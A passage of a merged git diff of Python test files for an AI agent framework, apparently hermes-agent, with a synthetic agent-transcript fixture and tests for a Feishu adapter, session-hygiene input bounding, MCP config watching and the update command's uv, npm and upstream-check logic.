"synthetic-encrypted-content-placeholder-0002-BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"}+ ],+ "tool_calls": [+ {+ "id": "call_fixture_01",+ "call_id": "call_fixture_01",+ "type": "function",+ "function": {"name": "terminal", "arguments": "{\"command\": \"which agy; agy --version\"}"}+ }+ ]+ },+ {+ "role": "tool",+ "tool_call_id": "call_fixture_01",+ "content": "[tool output elided — 11,269 chars in the original failing run]"+ },+ {+ "role": "assistant",+ "content": "",+ "codex_reasoning_items": [+ {"type": "reasoning", "id": "rs_fixture_03", "summary": [], "encrypted_content": "synthetic-encrypted-content-placeholder-0003-CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"},+ {"type": "reasoning", "id": "rs_fixture_04", "summary": [], "encrypted_content": "synthetic-encrypted-content-placeholder-0004-DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"}+ ],+ "tool_calls": [+ {+ "id": "call_fixture_02",+ "call_id": "call_fixture_02",+ "type": "function",+ "function": {"name": "terminal", "arguments": "{\"command\": \"agy agent --help\"}"}+ }+ ]+ },+ {+ "role": "tool",+ "tool_call_id": "call_fixture_02",+ "content": "[tool output elided — 3,169 chars in the original failing run]"+ },+ {+ "role": "assistant",+ "content": "",+ "codex_reasoning_items": [+ {"type": "reasoning", "id": "rs_fixture_05", "summary": [], "encrypted_content": "synthetic-encrypted-content-placeholder-0005-EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"}+ ],+ "tool_calls": [+ {+ "id": "call_fixture_03",+ "call_id": "call_fixture_03",+ "type": "function",+ "function": {"name": "terminal", "arguments": "{\"command\": \"agy mcp --help\"}"}+ },+ {+ "id": "call_fixture_04",+ "call_id": "call_fixture_04",+ "type": "function",+ "function": {"name": "terminal", "arguments": "{\"command\": \"agy changelog | head -40\"}"}+ },+ {+ "id": "call_fixture_05",+ "call_id": "call_fixture_05",+ "type": "function",+ "function": {"name": "terminal", "arguments": "{\"command\": \"ls ~/.config/agy/ 2>&1 || true\"}"}+ }+ ]+ },+ {+ "role": "tool",+ "tool_call_id": "call_fixture_03",+ "content": "[tool output elided — 1,494 chars in the original failing run]"+ },+ {+ "role": "tool",+ "tool_call_id": "call_fixture_04",+ "content": "[tool output elided — 32,686 chars in the original failing run]"+ },+ {+ "role": "tool",+ "tool_call_id": "call_fixture_05",+ "content": "[tool output elided — 598 chars in the original failing run]"+ }+ ]-diff --cc tests/gateway/test_feishu.pyindex dfff01a5ce8,352cc256900..bf60e469fe0--- a/tests/gateway/test_feishu.py+++ b/tests/gateway/test_feishu.py@@@ -198,16 -185,18 +198,18 @@@ class TestFeishuAdapterMessaging(unitteself.assertIsNone(adapter._ws_client)- @patch.dict(os.environ, {+ @patch.dict(os.environ, {**_SYS_ENV,"FEISHU_APP_ID": "cli_app","FEISHU_APP_SECRET": "secret_app",- }, clear=True)+ }, clear=False)- def test_connect_websocket_sets_channel_ua_tag(self):- """Verify that FeishuWSClient receives extra_ua_tags=["channel"].+ def test_connect_websocket_sets_channel_ua_tag_and_uses_owned_executor(self):+ """Verify the WebSocket client uses the channel tag and owned executor.Without this UA tag the Feishu server does not push group @mention- events over the WebSocket transport. See+ events over the WebSocket transport. The long-lived client must also+ stay off asyncio's shared default executor. Seehttps://github.com/NousResearch/hermes-agent/issues/50656+ https://github.com/NousResearch/hermes-agent/issues/78318"""from gateway.config import PlatformConfigfrom plugins.platforms.feishu.adapter import FeishuAdapter@@@ -256,9 -249,10 +262,10 @@@"FeishuWSClient must receive extra_ua_tags for group @mention delivery")self.assertEqual(call_kwargs["extra_ua_tags"], ["channel"],"extra_ua_tags must be ['channel'] to enable group event routing")+ self.assertEqual(submitted_executors, [owned_executor])- @patch.dict(os.environ, {}, clear=True)+ @patch.dict(os.environ, _SYS_ENV, clear=False)def test_edit_message_falls_back_to_text_when_post_update_is_rejected(self):from gateway.config import PlatformConfigfrom plugins.platforms.feishu.adapter import FeishuAdapterdiff --cc tests/gateway/test_session_hygiene.pyindex 55afe2d4e9c,19d2e6f1227..3db2631c316--- a/tests/gateway/test_session_hygiene.py+++ b/tests/gateway/test_session_hygiene.py@@@ -1707,13 -1713,11 +1707,13 @@@ async def test_hygiene_does_not_wait_cestate = db.get_compression_failure_cooldown(session_id)assert state is not None and state["remaining_seconds"] > 0assert not any(- "Context compression timed out" in s["content"] for s in adapter.sent+ "took too long" in s["content"] for s in adapter.sent), "fence-cancel is not a summary-model timeout; no timeout toast"release_worker.set()- await asyncio.wait_for(asyncio.to_thread(cleanup_done.wait), timeout=2)+ assert await asyncio.to_thread(cleanup_done.wait, 10)finally:+ release_worker.set()+ await asyncio.to_thread(cleanup_done.wait, 10)db.close()@@@ -1808,6 -1812,182 +1808,182 @@@ async def test_hygiene_unwind_records_cf"{state!r}")release_worker.set()- await asyncio.wait_for(asyncio.to_thread(cleanup_done.wait), timeout=2)+ assert await asyncio.to_thread(cleanup_done.wait, 10)finally:db.close()+++ # ---------------------------------------------------------------------------+ # Fail-closed in-context bound when hygiene has not landed (#111988)+ # ---------------------------------------------------------------------------++ _HARD_LIMIT = 20+++ def _make_bound_probe_transcript(total: int = 60) -> list:+ """Transcript with a setup prefix, a tool group straddling the tail cut, and a newest tail.++ With ``_HARD_LIMIT`` = 20 and one setup row, the newest-19 cut starts at index 41 — the+ first tool result of the group at 40/41/42.+ """+ rows = [{"role": "session_meta", "tools": [], "model": "m", "platform": "telegram", "timestamp": "t0"}]+ while len(rows) < total - 20:+ role = "user" if len(rows) % 2 else "assistant"+ rows.append({"role": role, "content": f"old-{len(rows)}", "timestamp": f"t{len(rows)}"})+ rows.append({"role": "assistant", "content": "", "tool_calls": [{"id": "c1", "function": {"name": "t"}}]})+ rows.append({"role": "tool", "tool_call_id": "c1", "content": "old tool output 1"})+ rows.append({"role": "tool", "tool_call_id": "c2", "content": "old tool output 2"})+ rows.append({"role": "user", "content": "newest ask", "timestamp": "t-ask"})+ rows.append({"role": "assistant", "content": "newest reply", "timestamp": "t-reply"})+ while len(rows) < total:+ role = "user" if len(rows) % 2 else "assistant"+ rows.append({"role": role, "content": f"tail-{len(rows)}", "timestamp": f"t{len(rows)}"})+ if total == 60:+ assert rows[41].get("role") == "tool", "fixture must put the tail cut on a tool result"+ return rows+++ def _turn_payload(runner):+ """The history the gateway handed the turn runner for the model (one turn)."""+ assert runner._run_agent.await_count == 1+ return runner._run_agent.call_args.kwargs["history"]+++ def _make_bound_runner(monkeypatch, tmp_path, agent_cls, cfg_text, transcript):+ """``_make_cooldown_runner`` with a >hard-limit transcript and a lowered hard limit."""+ from hermes_state import SessionDB++ db = SessionDB(db_path=tmp_path / "state.db")+ db.create_session("sess-bound", "telegram")+ runner, adapter, event = _make_cooldown_runner(+ monkeypatch, tmp_path, agent_cls, db, "sess-bound"+ )+ (tmp_path / "config.yaml").write_text(cfg_text, encoding="utf-8")+ runner.session_store.load_transcript.return_value = transcript+ return db, runner, adapter, event+++ class _LandedCompressAgent:+ """Rotating hygiene compressor that SUCCEEDS with a transcript longer than the hard limit."""++ last_instance = None++ def __init__(self, **kwargs):+ self.session_id = kwargs.get("session_id", "fake-session")+ self._session_db = kwargs.get("session_db")+ self._last_compaction_in_place = False+ self.context_compressor = SimpleNamespace(+ bind_session_state=MagicMock(),+ _last_compress_aborted=False,+ _last_aux_model_failure_model=None,+ )+ self.shutdown_memory_provider = MagicMock()+ self.close = MagicMock()+ type(self).last_instance = self++ def _compress_context(self, messages, *_args, **_kwargs):+ # 25 rows: over the 20-message limit but far under the input's token count, so the+ # adopted (landed) transcript must reach the model untouched.+ compressed = [{"role": "assistant", "content": f"summary {i}"} for i in range(25)]+ type(self).last_compressed = compressed+ self.session_id = f"{self.session_id}_compressed"+ return (compressed, None)+++ def test_bound_model_input_without_hygiene_is_deterministic_and_fail_closed():+ """The bound keeps the setup head + the newest tail, drops the middle, never mutates input."""+ from gateway.run_turn import bound_model_input_without_hygiene++ rows = _make_bound_probe_transcript()+ snapshot = [dict(r) for r in rows]++ bounded = bound_model_input_without_hygiene(rows, _HARD_LIMIT)++ assert len(bounded) <= _HARD_LIMIT+ assert len(bounded) < len(rows), "a >limit transcript must actually be bounded"+ assert bounded[0] is rows[0], "the leading system/setup row must survive"+ assert bounded[-1] is rows[-1], "the newest row must survive"+ assert bounded[1].get("role") != "tool", "the kept tail must not start on an orphan tool result"+ assert rows[:] == snapshot, "the source transcript must not be mutated in place"+ # Same input, same cut — no randomness, no clock.+ assert bound_model_input_without_hygiene(rows, _HARD_LIMIT) == bounded+ # At or below the limit nothing is dropped, and the SAME list comes back.+ assert bound_model_input_without_hygiene(rows, len(rows)) is rows+ assert bound_model_input_without_hygiene(rows, len(rows) + 5) is rows+++ @pytest.mark.asyncio+ async def test_hygiene_miss_bounds_the_model_payload(monkeypatch, tmp_path):+ """Turn-hold expiry without a landed summary must not feed the model the whole transcript+ (#111988); a landed commit is still adopted byte-identical."""+ worker_started = threading.Event()+ release_worker = threading.Event()+ cleanup_done = threading.Event()+ session_id = "sess-bound"++ class StreamingCompressAgent:+ last_instance = None++ def __init__(self, **kwargs):+ self.session_id = kwargs.get("session_id", session_id)+ self._session_db = kwargs.get("session_db")+ self._last_compaction_in_place = False+ self.context_compressor = SimpleNamespace(+ bind_session_state=MagicMock(),+ _last_compress_aborted=False,+ _last_aux_model_failure_model=None,+ )+ self.shutdown_memory_provider = MagicMock()+ self.close = MagicMock(side_effect=cleanup_done.set)+ type(self).last_instance = self++ def _compress_context(self, messages, *_args, commit_fence=None, **_kwargs):+ worker_started.set()+ release_worker.wait(timeout=10)+ return (messages, None)++ transcript = _make_bound_probe_transcript()+ db, runner, _adapter, event = _make_bound_runner(+ monkeypatch, tmp_path, StreamingCompressAgent,+ "compression:\n"+ " enabled: true\n"+ f" hygiene_hard_message_limit: {_HARD_LIMIT}\n"+ " hygiene_timeout_seconds: 60\n"+ " hygiene_total_ceiling_seconds: 600\n"+ " hygiene_max_turn_hold_seconds: 0.3\n",+ transcript,+ )+ try:+ assert await asyncio.wait_for(runner._handle_message(event), timeout=15) == "ok"+ assert worker_started.wait(timeout=2)++ payload = _turn_payload(runner)+ assert len(payload) <= _HARD_LIMIT, (+ f"hygiene never landed but the model got {len(payload)} messages "+ f"(limit {_HARD_LIMIT}) — unbounded fail-open"+ )+ assert payload[0] is transcript[0], "the system/setup head must be preserved"+ assert payload[-1] is transcript[-1], "the newest tail must be preserved"+ assert payload[1].get("role") != "tool", "the kept tail must not start on an orphan tool result"++ # History on disk untouched: the loaded transcript still holds every row and nothing+ # rewrote it — only the payload about to be sent to the model was clipped.+ assert len(transcript) == len(_make_bound_probe_transcript())+ assert transcript[20]["content"].startswith("old-")+ runner.session_store.rewrite_transcript.assert_not_called()++ release_worker.set()+ await asyncio.wait_for(asyncio.to_thread(cleanup_done.wait), timeout=3)++ # Control: a LANDED hygiene commit is adopted as-is — its 25 summary rows exceed the+ # limit, and the bound must not touch them (only the unlanded path is clipped).+ db.create_session("sess-landed", "telegram")+ runner2, _adapter2, event2 = _make_cooldown_runner(+ monkeypatch, tmp_path, _LandedCompressAgent, db, "sess-landed"+ )+ runner2.session_store.load_transcript.return_value = _make_bound_probe_transcript()+ assert await asyncio.wait_for(runner2._handle_message(event2), timeout=15) == "ok"+ assert _turn_payload(runner2) is _LandedCompressAgent.last_compressed+ finally:+ release_worker.set()+ db.close()diff --cc tests/hermes_cli/test_cli_mcp_config_watch.pyindex 29dae5c768f,28587338797..be1e5deb9d9--- a/tests/hermes_cli/test_cli_mcp_config_watch.py+++ b/tests/hermes_cli/test_cli_mcp_config_watch.py@@@ -39,8 -41,8 +41,8 @@@ class TestMCPConfigWatchobj, cfg_file = _make_cli(tmp_path, mcp_servers={})# Simulate user adding a new MCP server to config.yaml- cfg_file.write_text(yaml.dump({"mcp_servers": {"github": {"url": "https://mcp.github.com"}}}))+ cfg_file.write_text(yaml.safe_dump({"mcp_servers": {"github": {"url": "https://mcp.github.com"}}}))- obj._config_mtime = 0.0 # force stale mtime+ obj._config_sig = None # force stale mtimewith patch("hermes_cli.config.get_config_path", return_value=cfg_file):obj._check_config_mcp_changes()@@@ -53,8 -55,8 +55,8 @@@obj, cfg_file = _make_cli(tmp_path, mcp_servers={"github": {"url": "https://mcp.github.com"}})# Simulate user removing the server- cfg_file.write_text(yaml.dump({"mcp_servers": {}}))+ cfg_file.write_text(yaml.safe_dump({"mcp_servers": {}}))- obj._config_mtime = 0.0+ obj._config_sig = Nonewith patch("hermes_cli.config.get_config_path", return_value=cfg_file):obj._check_config_mcp_changes()diff --cc tests/hermes_cli/test_cmd_update.pyindex 66f32f8b0c9,b9d38f847f1..cfa06bcaa80--- a/tests/hermes_cli/test_cmd_update.py+++ b/tests/hermes_cli/test_cmd_update.py@@@ -8,19 -10,1563 +8,14 @@@ import pytesfrom hermes_cli import update_cmd-def _make_run_side_effect(branch="main", verify_ok=True, commit_count="0"):- """Build a side_effect function for subprocess.run that simulates git commands."""-- def side_effect(cmd, **kwargs):- joined = " ".join(str(c) for c in cmd)-- # git rev-parse --abbrev-ref HEAD (get current branch)- if "rev-parse" in joined and "--abbrev-ref" in joined:- return subprocess.CompletedProcess(cmd, 0, stdout=f"{branch}\n", stderr="")-- # git rev-parse --verify origin/{branch} (check remote branch exists)- if "rev-parse" in joined and "--verify" in joined:- rc = 0 if verify_ok else 128- return subprocess.CompletedProcess(cmd, rc, stdout="", stderr="")-- # git rev-list HEAD..origin/{branch} --count- if "rev-list" in joined:- return subprocess.CompletedProcess(cmd, 0, stdout=f"{commit_count}\n", stderr="")-- # Fallback: return a successful CompletedProcess with empty stdout- return subprocess.CompletedProcess(cmd, 0, stdout="", stderr="")-- return side_effect---def mock_args():- return SimpleNamespace()---# ----------------------------------------------------------------------------# Managed-uv compatibility for tests that patch shutil.which-# ----------------------------------------------------------------------------# The production code now uses ``ensure_uv()`` / ``update_managed_uv()``-# instead of ``shutil.which("uv")``. Many tests in this file patch-# ``shutil.which`` to control whether uv is "available" — these autouse-# fixtures make the managed_uv functions delegate to the patched-# ``shutil.which`` so the existing test setup keeps working without-# per-test changes.[email protected](autouse=True)-def _patch_managed_uv(request):- """Make managed_uv helpers follow shutil.which mocking in tests."""- import shutil-- # resolve_uv delegates to shutil.which("uv") so that test patches- # on shutil.which flow through naturally.- def _fake_resolve_uv():- return shutil.which("uv")-- def _fake_ensure_uv(**_kwargs):- return shutil.which("uv")-- def _fake_update_managed_uv(**_kwargs):- return None # never actually self-update in tests-- with patch("hermes_cli.managed_uv.resolve_uv", side_effect=_fake_resolve_uv), \- patch("hermes_cli.managed_uv.ensure_uv", side_effect=_fake_ensure_uv), \- patch("hermes_cli.managed_uv.update_managed_uv", side_effect=_fake_update_managed_uv), \- patch(- "hermes_cli.update_cmd._post_update_sqlite_runtime_status",- return_value=(True, None),- ):- yield--@pytest.fixture(autouse=True)-def _patch_gateway_discovery(isolated_update_runtime):- pass---class TestCmdUpdateNpmLockfileCache:- @staticmethod- def _cache_file(hermes_root, project_root):- cache_key = hashlib.sha256(str(project_root).encode()).hexdigest()[:12]- return hermes_root / f".npm_lock_hash_{cache_key}"---- def test_record_npm_lockfile_hash(self, tmp_path, monkeypatch):- from hermes_cli import main as hm-- monkeypatch.setattr(hm, "PROJECT_ROOT", tmp_path)- (tmp_path / "package-lock.json").write_text('{"lockfileVersion": 3}')-- update_cmd._record_npm_lockfile_hash(tmp_path)-- assert (- self._cache_file(tmp_path, tmp_path).read_text()- == update_cmd._npm_manifests_digest()- )-- def test_package_json_only_edit_defeats_skip(self, tmp_path, monkeypatch):- """Reviewer scenario (#61580): dev edits package.json WITHOUT running- npm — lockfile unchanged. `hermes update` must still install (the- npm-install fallback is what syncs node_modules in that state)."""- from hermes_cli import main as hm-- monkeypatch.setattr(hm, "PROJECT_ROOT", tmp_path)- (tmp_path / "package-lock.json").write_text('{"lockfileVersion": 3}')- (tmp_path / "package.json").write_text('{"dependencies": {}}')- (tmp_path / "node_modules").mkdir()- update_cmd._record_npm_lockfile_hash(tmp_path)- assert hm._npm_lockfile_changed(tmp_path) is False-- (tmp_path / "package.json").write_text(- '{"dependencies": {"left-pad": "^1.0.0"}}'- )- assert hm._npm_lockfile_changed(tmp_path) is True-------- def test_update_uses_one_shared_npm_cache_across_profiles(- self, tmp_path, monkeypatch- ):- """The npm cache describes checkout-global node_modules, not a profile."""- from hermes_cli import main as hm- import hermes_constants-- checkout = tmp_path / "checkout"- checkout.mkdir()- (checkout / "package.json").write_text("{}")- shared_root = tmp_path / ".hermes"- named_profile = shared_root / "profiles" / "work"- named_profile.mkdir(parents=True)-- monkeypatch.setattr(hm, "PROJECT_ROOT", checkout)- monkeypatch.setattr(hermes_constants.Path, "home", lambda: tmp_path)- monkeypatch.setattr(- hermes_constants, "find_node_executable", lambda _name: "/usr/bin/npm"- )-- cache_roots = []- with patch.object(- hm,- "_npm_lockfile_changed",- side_effect=lambda root: cache_roots.append(root) or False,- ):- monkeypatch.setenv("HERMES_HOME", str(shared_root))- update_cmd._update_node_dependencies()-- monkeypatch.setenv("HERMES_HOME", str(named_profile))- update_cmd._update_node_dependencies()-- assert cache_roots == [shared_root, shared_root]---class TestCmdUpdateTermuxUvBootstrap:- """Regression tests for Termux-specific uv bootstrap behavior."""-- @patch("shutil.which", return_value=None)- @patch("subprocess.run")- def test_termux_uv_bootstrap_uses_binary_only_install(- self, mock_run, _mock_which, monkeypatch- ):- from hermes_cli import main as hm-- mock_run.return_value = subprocess.CompletedProcess([], 1, stdout="", stderr="")- monkeypatch.setattr(hm, "_is_termux_env", lambda env=None: True)-- uv_bin = update_cmd._ensure_uv_for_termux(["/termux/python", "-m", "pip"])-- assert uv_bin is None- assert mock_run.call_count == 1- assert mock_run.call_args.args[0] == [- "/termux/python",- "-m",- "pip",- "install",- "uv",- "--only-binary",- ":all:",- ]- assert mock_run.call_args.kwargs["cwd"] == PROJECT_ROOT- assert mock_run.call_args.kwargs["check"] is False-- @patch("subprocess.run")- def test_termux_reuses_existing_path_uv_without_pip(self, mock_run, monkeypatch):- """A uv already on PATH (e.g. ``pkg install uv``) is reused before pip runs."""- from hermes_cli import main as hm-- pkg_uv = "/data/data/com.termux/files/usr/bin/uv"- monkeypatch.setattr(hm, "_is_termux_env", lambda env=None: True)- # Production resolve_uv only checks $HERMES_HOME/bin/uv; model an empty- # managed dir so the PATH probe is what surfaces the packaged uv.- monkeypatch.setattr("hermes_cli.managed_uv.resolve_uv", lambda: None)- monkeypatch.setattr("shutil.which", lambda name: pkg_uv if name == "uv" else None)-- uv_bin = update_cmd._ensure_uv_for_termux(["/termux/python", "-m", "pip"])-- assert uv_bin == pkg_uv- mock_run.assert_not_called()---class TestUpdateManagedPythonEnvIsolation:- """Regression for the uv-env isolation fix (third-party UV_PYTHON_INSTALL_DIR- must not hijack the update's pip install).-- The update path builds uv_env via managed_python_env() (drops- VIRTUAL_ENV/PYTHONPATH/UV_PYTHON, pins UV_MANAGED_PYTHON=1 + UV_NO_CONFIG=1,- forces UV_PYTHON_INSTALL_DIR to .hermes-runtime/python), then re-points- VIRTUAL_ENV at this install's venv. These tests lock that contract in.- """-- def test_managed_env_drops_third_party_uv_install_dir(self):- from hermes_cli.managed_uv import managed_python_env-- poisoned = {- "UV_PYTHON_INSTALL_DIR": r"C:\WorkBuddy\python",- "UV_PYTHON": r"C:\WorkBuddy\python\python.exe",- "UV_SYSTEM_PYTHON": "1",- "UV_NO_MANAGED_PYTHON": "1",- "VIRTUAL_ENV": r"C:\Some\Other\venv",- "PYTHONPATH": r"C:\Some\site-packages",- }- env = managed_python_env()-- # Third-party UV_PYTHON_INSTALL_DIR must not survive into the env.- assert env.get("UV_PYTHON_INSTALL_DIR", "") != r"C:\WorkBuddy\python"- assert "WorkBuddy" not in env.get("UV_PYTHON_INSTALL_DIR", "")- # Managed pins are set; the hijack guards are explicitly cleared.- assert env.get("UV_MANAGED_PYTHON") == "1"- assert env.get("UV_NO_CONFIG") == "1"- assert env.get("UV_PYTHON") is None- assert env.get("UV_SYSTEM_PYTHON") is None- assert env.get("UV_NO_MANAGED_PYTHON") is None- assert env.get("VIRTUAL_ENV") is None- assert env.get("PYTHONPATH") is None- # Sanity: the poisoned values did exist on input (guards the test itself).- assert poisoned["UV_PYTHON_INSTALL_DIR"].startswith("C:\\WorkBuddy")-- def test_update_uv_env_points_venv_and_runtime_store(self):- """The update's final uv_env must carry VIRTUAL_ENV=this venv while the- managed store path is still the UV_PYTHON_INSTALL_DIR."""- from hermes_cli import main as hm- from hermes_cli.managed_uv import managed_python_env-- uv_env = managed_python_env()- uv_env["VIRTUAL_ENV"] = str(PROJECT_ROOT / "venv")-- assert uv_env["VIRTUAL_ENV"] == str(PROJECT_ROOT / "venv")- # Managed store stays the install-scoped runtime dir, not a third-party one.- assert ".hermes-runtime" in uv_env.get("UV_PYTHON_INSTALL_DIR", "")- assert uv_env.get("UV_MANAGED_PYTHON") == "1"- assert uv_env.get("UV_NO_CONFIG") == "1"---class TestRepairCurrentCheckoutRuntimeRepair:- """Already-up-to-date path after a managed SQLite runtime repair (#112571)."""-- @staticmethod- def _run(monkeypatch, *, repaired: bool, lazy_refresh_ok: bool = True):- from hermes_cli.managed_uv import RuntimeRepairResult- from hermes_cli import main as hm-- lazy_features = ["telegram", "hindsight", "edge-tts", "bedrock"]- tool_dependencies = ["browser"]- restored = []-- monkeypatch.setattr(- update_cmd, "_venv_core_imports_healthy", lambda: (True, "core imports healthy")- )- monkeypatch.setattr(hm, "_is_windows", lambda: False)- monkeypatch.setattr(- update_cmd, "_pip_install_prefix", lambda _uv: (["uv", "pip"], {"VIRTUAL_ENV": "venv"})- )- markers = []- monkeypatch.setattr(- update_cmd, "_write_lazy_refresh_incomplete_marker", lambda: markers.append("write")- )- monkeypatch.setattr(- hm, "_clear_lazy_refresh_incomplete_marker", lambda: markers.append("clear")- )-- def refresh(prefix, *, env, features):- restored.append(("lazy", prefix, env, features))- return lazy_refresh_ok-- monkeypatch.setattr(hm, "_refresh_active_lazy_features", refresh)- monkeypatch.setattr(- hm, "_restore_active_tool_dependencies",- lambda dependencies, prefix, *, env: restored.append(("tools", prefix, env, dependencies)),- )- monkeypatch.setattr(- update_cmd, "_repair_node_deps_on_current_checkout", lambda *args, **kwargs: True- )-- def ensure(*, repair_observer, **_kwargs):- if repaired:- repair_observer(RuntimeRepairResult("repaired"))- return "uv"-- monkeypatch.setattr("hermes_cli.managed_uv.update_managed_uv", ensure)- monkeypatch.setattr("hermes_cli.managed_uv.ensure_uv", ensure)-- assert update_cmd._repair_current_checkout(- assume_yes=True,- gateway_mode=False,- pre_update_snapshot_id=None,- had_desktop_app_before_update=False,- active_lazy_features=lazy_features,- active_tool_dependencies=tool_dependencies,- upstream_checked=True,- _windows_gateway_resume=None,- )- return restored, lazy_features, tool_dependencies, markers-- def test_restores_optional_dependencies_after_runtime_repair(self, monkeypatch):- """A SQLite venv replacement passes the core-import probe, yet the swapped-in venv was- built from uv.lock alone: the captured lazy backends and Hermes Tools deps must be- restored into it, once each, with the repaired installer prefix."""- restored, lazy_features, tool_dependencies, markers = self._run(monkeypatch, repaired=True)- assert restored == [- ("lazy", ["uv", "pip"], {"VIRTUAL_ENV": "venv"}, lazy_features),- ("tools", ["uv", "pip"], {"VIRTUAL_ENV": "venv"}, tool_dependencies),- ]- assert markers == ["write", "clear"]-- def test_failed_lazy_restore_keeps_incomplete_marker(self, monkeypatch, capsys):- """Mirror of the pull path (update_cmd_deps): the lazy-refresh breadcrumb is written- before the restore and cleared only when the refresh reports success, so a failed- restore into the swapped-in venv is picked up by the next `hermes` run instead of- being hidden behind "Already up to date!"."""- _, _, _, markers = self._run(monkeypatch, repaired=True, lazy_refresh_ok=False)- assert markers == ["write"]- assert "Lazy-refresh recovery incomplete" in capsys.readouterr().out-- def test_healthy_venv_without_runtime_repair_is_left_alone(self, monkeypatch):- """Control: no repair + healthy core imports = the venv was never replaced, so nothing- is reinstalled (the up-to-date path stays a no-op for Python deps)."""- restored, _, _, markers = self._run(monkeypatch, repaired=False)- assert restored == []- assert markers == []---class TestCmdUpdateBranchFallback:- """cmd_update falls back to main when current branch has no remote counterpart."""----- @patch("shutil.which", return_value=None)- @patch("subprocess.run")- def test_update_on_fork_checks_upstream_when_origin_up_to_date(- self, mock_run, _mock_which, mock_args, capsys- ):- """Regression for issue #26172: forks whose local HEAD already matches- origin/main must still consult upstream/main before printing- "Already up to date!" — otherwise a fork that's caught up to its own- origin but behind NousResearch/hermes-agent silently misses updates.- """- from hermes_cli import main as hm-- mock_run.side_effect = _make_run_side_effect(- branch="main", verify_ok=True, commit_count="0"- )-- with patch.object(- hm,- "_get_origin_url",- return_value="https://github.com/example/hermes-agent.git",- ), patch.object(hm, "_sync_with_upstream_if_needed") as sync_mock:- cmd_update(mock_args)-- expected_git_cmd = (- ["git", "-c", "windows.appendAtomically=false"] if hm._is_windows() else ["git"]- )- sync_mock.assert_called_once_with(- expected_git_cmd,- PROJECT_ROOT,- assume_yes=False,- input_fn=None,- )- captured = capsys.readouterr()- assert "Already up to date!" in captured.out-- @patch("shutil.which", return_value=None)- @patch("subprocess.run")- def test_yes_on_fork_without_upstream_does_not_claim_up_to_date(- self, mock_run, _mock_which, capsys- ):- """#97052 review: genuine fork, no upstream remote, HEAD == origin/main,- --yes. The prompt is skipped without mutating remotes, and because the- official repo was never consulted the completion line must not claim- plain "Already up to date!"."""- from hermes_cli import main as hm- from hermes_cli import update_cmd-- mock_run.side_effect = _make_run_side_effect(- branch="main", verify_ok=True, commit_count="0"- )-- with patch.object(- hm,- "_get_origin_url",- return_value="https://github.com/example/hermes-agent.git",- ), patch.object(- update_cmd, "_has_upstream_remote", return_value=False- ), patch.object(- update_cmd, "_should_skip_upstream_prompt", return_value=False- ), patch.object(- update_cmd, "_add_upstream_remote"- ) as add_remote, patch.object(- update_cmd, "_mark_skip_upstream_prompt"- ) as mark_skip, patch("builtins.input") as stdin_input:- cmd_update(SimpleNamespace(yes=True))-- stdin_input.assert_not_called()- add_remote.assert_not_called()- mark_skip.assert_not_called()- captured = capsys.readouterr()- assert "Skipping upstream setup (non-interactive run)." in captured.out- assert "official repo not checked" in captured.out- assert "Already up to date!" not in captured.out-- @pytest.mark.parametrize(- ("health_after_repair", "runtime_status", "expected_runtime_checks"),- [- (True, (False, SimpleNamespace(sqlite_version_string="3.46.1")), 1),- (False, (True, None), 0),- ],- )- @patch("shutil.which", return_value=None)- @patch("subprocess.run")- def test_current_checkout_python_repair_failure_is_durable(- self,- mock_run,- _mock_which,- mock_args,- health_after_repair,- runtime_status,- expected_runtime_checks,- ):- """Python repair must not bypass runtime and durable outcome checks."""- from hermes_cli import main as hm- from hermes_cli import update_cmd-- mock_args.gateway = True- mock_run.side_effect = _make_run_side_effect(- branch="main", verify_ok=True, commit_count="0"- )-- with patch.object(- hm,- "_get_origin_url",- return_value="https://github.com/example/hermes-agent.git",- ), patch.object(hm, "_sync_with_upstream_if_needed"), patch.object(- update_cmd,- "_venv_core_imports_healthy",- side_effect=[- (False, "broken before repair"),- (health_after_repair, "broken after repair"),- ],- ), patch.object(- hm, "_install_python_dependencies_with_optional_fallback"- ), patch.object(- hm, "_refresh_active_lazy_features"- ), patch.object(- hm, "_restore_active_tool_dependencies"- ), patch.object(- update_cmd, "_write_update_incomplete_marker"- ), patch.object(- hm, "_clear_update_incomplete_marker"- ), patch.object(- update_cmd,- "_post_update_sqlite_runtime_status",- return_value=runtime_status,- ) as runtime_check, patch.object(- update_cmd, "_write_gateway_update_exit_code"- ) as write_gateway_exit, patch(- "hermes_cli.update_receipt.finalize_update_receipt"- ) as finalize_receipt, patch(- "hermes_cli.update_receipt.finalize_pending_update_receipt"- ):- with pytest.raises(SystemExit) as exit_info:- cmd_update(mock_args)-- assert exit_info.value.code == 1- assert runtime_check.call_count == expected_runtime_checks- write_gateway_exit.assert_called_once_with(False)- finalize_receipt.assert_called_once_with("partial")-- @patch("shutil.which", return_value=None)- @patch("subprocess.run")- def test_current_checkout_node_repair_verification_failure_is_durable(- self, mock_run, _mock_which, mock_args- ):- """A failed Node-path runtime check must fail durable outcomes."""- from hermes_cli import main as hm- from hermes_cli import update_cmd-- mock_args.gateway = True- mock_run.side_effect = _make_run_side_effect(- branch="main", verify_ok=True, commit_count="0"- )-- with patch.object(- hm,- "_get_origin_url",- return_value="https://github.com/example/hermes-agent.git",- ), patch.object(hm, "_sync_with_upstream_if_needed"), patch.object(- update_cmd,- "_repair_node_deps_on_current_checkout",- return_value=False,- ), patch.object(- update_cmd, "_write_gateway_update_exit_code"- ) as write_gateway_exit, patch(- "hermes_cli.update_receipt.finalize_update_receipt"- ) as finalize_receipt, patch(- "hermes_cli.update_receipt.finalize_pending_update_receipt"- ):- with pytest.raises(SystemExit) as exit_info:- 